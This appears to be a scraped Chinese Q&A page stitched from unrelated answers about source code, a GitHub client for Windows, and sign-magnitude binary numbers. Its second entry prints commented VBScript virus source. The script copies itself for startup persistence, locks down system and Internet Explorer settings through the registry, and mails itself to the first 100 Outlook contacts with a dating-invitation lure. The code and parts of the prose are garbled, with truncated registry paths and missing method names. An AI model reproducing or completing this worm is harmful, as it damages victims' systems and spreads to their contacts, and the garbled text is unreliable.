1. 源碼 是個什麼東西 電腦上面下載的軟體(qq、迅雷之類的)包含源碼嗎
源碼就是編寫程序時的源程序代碼,把編寫的程序代碼封裝起來做成安裝程序,就是你看到的電腦上面下載的軟體了。一些封裝的源碼受保護是看不到的,然是使用編程軟體如vs等,將程序拖到軟體窗體下,就可以看到它的代碼了。這就像是我們人體:由很多不同的組織結構構成,如骨骼,肌肉等等,封裝在一起就一個個完整的人,你從整體外觀上看不到他們單獨的某一部分,但是如果解剖了的話,還是可以看到的。哈哈,這個例子不太合適,但是大致是這個意思。不實現不同功能的源碼組合封裝在一起就構成了一個應用程序
2. 電腦病毒源代碼介紹
電腦中了病毒想從它的源代碼入手怎麼辦呢!有我在,下面由我給你做出詳細的電腦病毒源代碼介紹!希望對你有幫助!
電腦病毒源代碼介紹:
電腦病毒源代碼一:
on error resume next
set fs=createobject("ing.filesystemobject" '創建一個能與 操作系統 溝通的對象,再利用該對象的各種 方法 對注冊表進行操作
set dir1=fs.getspecialfolder(0) '獲取windows/winnt文件夾位置
set dir2=fs.getspecialfolder(1) '獲取system32/system文件夾位置
set so=createobject("ing.filesystemobject"
dim r '定義一個變數
set r=createobject("w.shell"
so.getfile(w.fullname).(dir1&"win32system.vbs" '復制病毒副本到windows/winnt文件夾位置
so.getfile(w.fullname).(dir2&"win32system.vbs" '復制病毒副本到system32/system文件夾位置
so.getfile(w.fullname).(dir1&"start menuprograms啟動win32system.vbs" '復制病毒副本到start menu啟動菜單
'下面是對注冊表的惡意修改和簡單的依靠oe傳播
r.regwrite " orun",1,"reg_dword" '修改注冊表,禁止“運行”菜單
r.regwrite " oclose",1,"reg_dword" '修改注冊表,禁止“關閉”菜單
r.regwrite " odrives",63000000,"reg_dword" '修改注冊表,隱藏所有邏輯盤符
r.regwrite "ytools",1,"reg_dword" '修改注冊表,禁止注冊表編輯
r.regwrite " unscanregistry","" '修改注冊表,禁止開機注冊表掃描
r.regwrite " ologoff",1,"reg_dword" '修改注冊表,禁止“注銷”菜單
r.regwrite " orealmode",1,"reg_dword" '修改注冊表,禁止ms-dos實模式
r.regwrite " unwin32system","win32system.vbs" '修改注冊表,使這個腳本本身開機自動運行
r.regwrite " odesktop",1,"reg_dword" '修改注冊表,禁止顯示桌面圖標
r.regwrite "disabled",1,"reg_dword" '修改注冊表,禁止純dos模式
r.regwrite " osettaskbar",1,"reg_dword" '修改注冊表,禁止“任務欄和開始”菜單
r.regwrite " oviewcontextmenu",1,"reg_dword" '修改注冊表,禁止右鍵菜單
電腦病毒源代碼二:
r.regwrite " osetfolders",1,"reg_dword" '修改注冊表,禁止控制面板
r.regwrite "hklmsoftwareclasses.reg","txtfile" '修改注冊表,禁止導入使用.reg文件,改為用txt文件的關聯
r.regwrite "winlogonlegalnoticecaption","警告" '設置開機提示框標題
r.regwrite "winlogonlegalnoticetext","您中vbs腳本病毒了,哭吧~" '設置開機提示框文本內容
set ol=createobject("outlook.application" '創建outlook文件對象用於傳播
on error resume next
for x=1 to 100
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用於向地址簿的前100名發送此 vbs病毒,可以算是簡單弱智的蠕蟲了吧~~
mail.subject="今晚你來嗎?" '郵件主題
mail.body="朋友你好:您的朋友rose給您發來了熱情的邀請。具體情況請閱讀隨信附件,祝您好運! 同城約會網" '郵件內容
mail.attachments.add(dir2&"win32system.vbs"
mail.send
next
ol.quit
'下面是對internet explore 選項的惡意修改
r.regwrite " explorer estrictions obrowsercontextmenu",1,"reg_dword" '修改注冊表,禁止滑鼠右鍵
r.regwrite " explorer estrictions obrowseroptions",1,"reg_dword" '修改注冊表,禁止internet選項
r.regwrite " explorer estrictions obrowsersaveas",1,"reg_dword" '修改注冊表,禁止“另存為”
r.regwrite " explorer estrictions ofileopen",1,"reg_dword" '修改注冊表,禁止“文件/打開”菜單
r.regwrite " explorercontrol paneladvanced",1,"reg_dword" '修改注冊表,禁止更改高級頁設置
r.regwrite " explorercontrol panelcache internet",1,"reg_dword" '修改注冊表,禁止更改臨時文件設置
r.regwrite " explorercontrol panelautoconfig",1,"reg_dword" '修改注冊表,禁止更改自動配置
r.regwrite " explorercontrol panelhomepage",1,"reg_dword" '修改注冊表,禁止更改主頁,即“主頁”變灰
r.regwrite " explorercontrol panelhistory",1,"reg_dword" '修改注冊表,禁止更改歷史記錄設置
r.regwrite " explorercontrol panelconnwiz admin lock",1,"reg_dword" '修改注冊表,禁止更改internet連接向導
r.regwrite " explorercontrol panelsecuritytab",1,"reg_dword" '修改注冊表,禁止更改安全項
r.regwrite " explorercontrol panel esetwebsettings",1,"reg_dword" '修改注冊表,禁止“重置web設置”
r.regwrite " explorer estrictions oviewsource",1,"reg_dword" '修改注冊表,禁止查看源文件
r.regwrite " explorerinfodelivery estrictions oaddingsubions",1,"reg_dword" '修改注冊表,禁止添加離線計劃
3. 如何查看電腦上某程序的源代碼 如計算器
可以通過GitHub源代碼ping在計算機中檢查計算器的源代碼。具體操作方式如下:
1、進入GitHub的Microsoft個人問題主頁,如下圖所示。
(3)實用電腦源碼擴展閱讀:
GitHub的Windows應用
GitHub 使用 git 分布式版本控制系統,而 git 最初是 LinusTorvalds 為幫助Linux開發而創造的,它針對的是 Linux 平台,因此 git 和 Windows 從來不是最好的朋友,因為它一點也不像Windows。
GitHub 發布了GitHub for Windows,為 Windows 平台開發者提供了一個易於使用的 Git 圖形客戶端。
GitHub forWindows是一個 Metro 風格應用程序,集成了自包含版本的 Git,bash 命令行 shell,PowerShell 的 posh-git 擴展。
GitHub 為 Windows 用戶提供了一個基本的圖形前端去處理大部分常用版本控制任務,可以創建版本庫,向本地版本庫遞交補丁,在本地和遠程版本庫之間同步。微軟也通過CodePlex向開發者提供 git 版本控制系統,而 GitHub 創造了一個更具有吸引力的 Windows 版本。
4. 計算機原碼是什麼
計算機原碼:是一種計算機中對數字的二進制定點表示方法。
特點:原碼表示法在數值前面增加了一位符號位(即最高位為符號位):正數該位為0,負數該位為1(0有兩種表示:+0和-0),其餘位表示數值的大小。
舉例說明應用場景:我們用8位二進製表示一個數,+11的原碼為00001011,-11的原碼就是10001011
源碼的缺點:原碼不能直接參加運算,可能會出錯。
例如:數學上,1+(-1)=0,而在二進制中原碼00000001+10000001=10000010,換算成十進制為-2。顯然出錯了